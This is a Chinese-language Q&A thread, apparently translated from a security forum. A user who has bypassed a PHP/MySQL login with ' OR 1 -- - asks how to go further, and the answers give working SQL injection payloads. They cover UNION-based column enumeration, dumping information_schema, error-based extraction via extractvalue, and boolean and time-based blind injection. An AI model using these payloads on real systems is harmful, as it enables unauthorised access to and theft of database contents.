如何在 PHP 上使用 SQL 注入提取信息?

信息安全 php sql注入 mysql
2021-08-30 04:09:43

我是 SQL 注入的新手,所以如果这看起来有点业余,请原谅我。

我在一个网站上工作,我设法绕过身份验证并以普通用户身份登录:

username: ' OR 1 -- -
password: <empty>

结果页面显示“您登录为:' OR 1 -- -”。所以我想我是否可以在它应该显示的用户名字段中转储数据库详细信息。

但是,当我尝试通过枚举数据库版本/信息更进一步时,它不起作用(因为我无法再绕过身份验证)。

我尝试了以下方法:

username: ' OR 1;SELECT @@VERSION -- -
username: ' OR 1;SELECT user_name -- -

该网站正在运行 Apache/2.4.7 (Ubuntu) 服务器,我怀疑数据库正在运行 MySQL。

2个回答

不熟悉 SQL 注入没有问题(这似乎是一个非常经典的例子,因此构成了一个完美的开始:)),但我认为对 SQL 请求有一些可靠的背景非常重要:语法、表、结果集,它们是什么以及它们是如何处理的,等等。

SQL 注入的目标确实是通过以各种可能的方式扭曲请求来设法弄清楚服务器端发生什么(当情况值得时,不要持有桶!),并最终获得实际控制服务器端的能力加工。

查找易于利用的 SQL 注入

为了便于说明,我将重用“什么是 SQL 注入? ”的主要答案中给出的示例。如果您需要有关 SQL 注入的更多背景信息,这可能是一个不错的起点。

因此,我会想象服务器正在执行以下代码:

sql = "select id, username from users'
      + ' where username='" + username + "' and password='" + password +"'";
  • 身份验证成功后,此请求将返回与此类似的结果集,只有一行:

    +----+----------+
    | id | username |
    +----+----------+
    | 42 | jdoe     |
    +----+----------+
    
  • 认证失败产生一个空的结果集,没有行:

    +----+----------+
    | id | username |
    +----+----------+
    +----+----------+
    

现在您已经设法做的并且表明服务器端代码易受攻击的是通过将用户名设置为来绕过身份验证' OR 1 --

仍然以上面相同的示例为例,代码将产生以下 SQL 请求:

select id, username from users where username='' OR 1 --

--有效地注释掉请求行的其余部分,因此此处未显示)

是时候了解这个请求的作用了:这个请求获取每个用户的 ID 和用户名(每个用户的用户名为空或为 true,这实际上意味着每个用户)。

这对您来说不是一个好消息(除非结果集中的第一行恰好是网站管理员,但这超出了我们想要关注信息提取的这篇文章的范围)。

为什么?再次在这里,您必须尝试想象服务器端可能发生的事情。

这对您来说不是一个好消息,因为这意味着您看到的内容显示在“您已登录”网页上:

  • 不是从数据库查询结果 ( $result[0]['username']) 中提取的,否则您会看到显示一些随机用户名。
  • 相反,很可能直接取自服务器接收到的表单字段值 ( getPostData("username");)。

在合法用例中,这不会改变任何东西,因为两者都应该返回相同的值。在我们的例子中,这很糟糕,因为这意味着我们很可能无法在这个地方提取和显示数据库信息。

还有更高级的 SQL 注入方法(基于错误的 SQLi、盲 SQLi,...),当网站不打算显式显示信息时,它们允许您从数据库中提取信息。但是,它们有自己的一系列问题,我将在这篇文章中认为它们超出了主题。事实上,考虑到网站开发人员对保护身份验证页面的谨慎,其他页面也很容易受到攻击,这次其他页面将显示从数据库中获取的信息(用户的个人资料页面可能是你最好的朋友:) )。

(如果某些页面对您的伪造用户名返回多行而不是单行这一事实不满意,只需LIMIT向您的用户名添加一条语句:' OR 1 LIMIT 1, 1 --,当然您可以自由修改其参数以从一个用户切换到另一个用户。 .. 如果你碰巧知道一些有效的用户名,你也可以尝试使用它: admin' --.)

在这篇文章中,我将继续以身份验证页面为例,这对于影响任何其他页面的 SQL 注入的工作方式是相同的。

确定结果集布局

在这篇文章的开头,我们假设结果集是一个双列表,用户名存储在第二列:

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+

但是,直到知道这只是一些假设,我们才在乎。不幸的是,我们现在必须知道这一点:

  • 出于技术原因,需要知道确切的列数,否则UNION我们稍后将使用的语句将不满意。
  • 知道服务器从哪一列获取显示的数据将允许我们将注入的值放在结果集中的正确位置(我们不需要知道实际的列名,只需要知道它的位置)。

(如果服务器碰巧使用 PostgreSQL 而不是 MySQL,您甚至可能必须确定要满足的正确列类型UNION,这比实际问题更令人讨厌,但要记住这一点。)

确定列数

最简单的方法是要求服务器对结果进行排序,如下所示:

username: ' OR 1 ORDER BY 1 -- -

增加子句ORDER BY 1直到出现错误,最后一个工作值对应于结果集中的列数。

如果我针对示例结果集运行它,我将获得:

  • username: ' OR 1 ORDER BY 1 -- -: 行
  • username: ' OR 1 ORDER BY 2 -- -: 行
  • username: ' OR 1 ORDER BY 3 -- -: 错误,因此示例结果集包含两列。

确定哪些列可用

现在您知道正确的列数,您可以向前迈出一步并注入如下命令:

username: ' OR 1 UNION SELECT 1,2 -- -

如果你有三列,你会做SELECT 1,2,3, 五列SELECT 1,2,3,4,5,等等。

这里的目标是将实际数字注入结果集中,并在网页(呈现的网页或其源代码)中检查服务器显示的网页。

使用数字的优点是,如果列类型需要,它们很容易被 MySQL 转换为字符串。虽然此处给出了“1,2,3”作为示例,但请随意使用您喜欢的数字(“1234,2345,3456”也可以,并且产生更容易发现的结果)。

在示例中,如果生成的网页显示“您登录为:2”,您就会知道用户名是从结果集中的第二列中获取的。

注意:了解UNION运算符的工作原理:服务器是否只使用第一行您可能需要确保左侧请求不产生任何行!

实际上,UNION运算符连接两个结果集:

+----+----------+         +----+----------+
| 42 | jdoe     |  UNION  | 1  | 2        |
+----+----------+         +----+----------+

将导致:

+----+----------+
| id | username |
+----+----------+
| 42 | jdoe     |
+----+----------+
| 1  | 2        |
+----+----------+

这可能不是预期的结果。

要得到:

+----+----------+
| id | username |
+----+----------+
| 1  | 2        |
+----+----------+

您可能希望确保左侧查询不返回任何条目:

username: ' AND 0 UNION SELECT 1,2 -- -

查看如何OR 1反转以AND 0确保无论数据库行内容如何,​​左侧查询都将被评估为假。

利用 SQL 注入

现在乐趣开始了:)!

有了所有这些信息,您现在可以自由地从数据库中提取您想要的信息。

例如:

  • 获取 MySQL 版本:

    username: ' AND 0 UNION SELECT 1,@@VERSION -- 
    
  • 要检索表名和列名:

    username: ' AND 0 UNION SELECT 1,GROUP_CONCAT(table_name,0x2e,column_name) FROM information_schema.columns WHERE table_schema=database() -- 
    

有很多网站引用了适合注入的 SQL 请求。请注意您面前的 MySQL 服务器的版本,因为某些语法可能与版本相关。

结论

根据服务器 SQL 请求的详细信息和应用于结果的处理,SQL 注入的难易程度会有很大差异。这完全取决于你的运气因素。

尽管如此,手动构建一个成功的 SQL 注入字符串总是归结为这个循环:

  1. 在服务器中注入请求。
  2. 观察结果。
  3. 尝试从服务器的角度来解释这个结果:什么样的处理会导致这样的结果?(这是你对 SQL 的了解真的很重要)
  4. 创建一个新的注入字符串,旨在解决您的问题或检查有关服务器行为的一些假设。
  5. 回到步骤 1。

最后,手动执行此操作可能无法很好地扩展。根据您的需要,您可能会发现一些工具(如sqlmap)有助于自动化所有这些。

PHP/MySQL 中的堆叠查询

MySQL + PHP 仅支持带有multi_query的堆叠查询,这在实践中很少使用。

这就是为什么你的攻击不起作用的原因。您尝试使用;不支持添加第二个查询。

不过,您仍然可以使用此注入提取数据!就 MySQL 而言,有两种选择:基于错误的注入和盲注。

基于错误的注入

首先,顾名思义,基于错误的注入仅在实际显示 MySQL 错误消息时才有效。

这个想法很简单:如果您无法通过注入提取数据,因为结果未显示,只需创建一个包含所需数据的 MySQL 错误。这通常是通过 extractvalue 完成的,在您的情况下,它将是:

' OR extractvalue(1,version()) -- -

SQL 盲注(基于内容)

与基于错误的注入相比,盲注始终有效,即使您没有看到错误消息。

这个想法又很简单。虽然您无法显示数据,但您确实知道查询是否获取了结果。在您的情况下,您要么已登录(True 状态),要么未登录(False 状态)。

一个非常简单的攻击是:

' OR substring(version(),1,1)='5

这可能会导致登录成功,因此您知道数据库版本以 5 开头。不同的值不会导致登录。

现在的想法是一次检索一个字符。

您也可以添加更复杂的查询,而不是询问版本,只需记住LIMIT您的结果一次只有一行。

这种攻击相当嘈杂,但可以改进。一种可能性是通过ascii函数将字符转换为其 ascii 值,这允许您使用小于和大于比较。

SQL 盲注入(基于时间)

在某些情况下,您甚至不会从注射中获得真/假反馈。在这些情况下,您可以使用响应时间来询问真/假问题:

' AND if(substring(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('msg','msg')),null) -- -

这里的想法是,如果特定条件为真,则调用一些昂贵的函数,从而导致更长的响应时间。

和以前一样,您可以执行更复杂的查询,还可以使用 ascii 函数提高性能。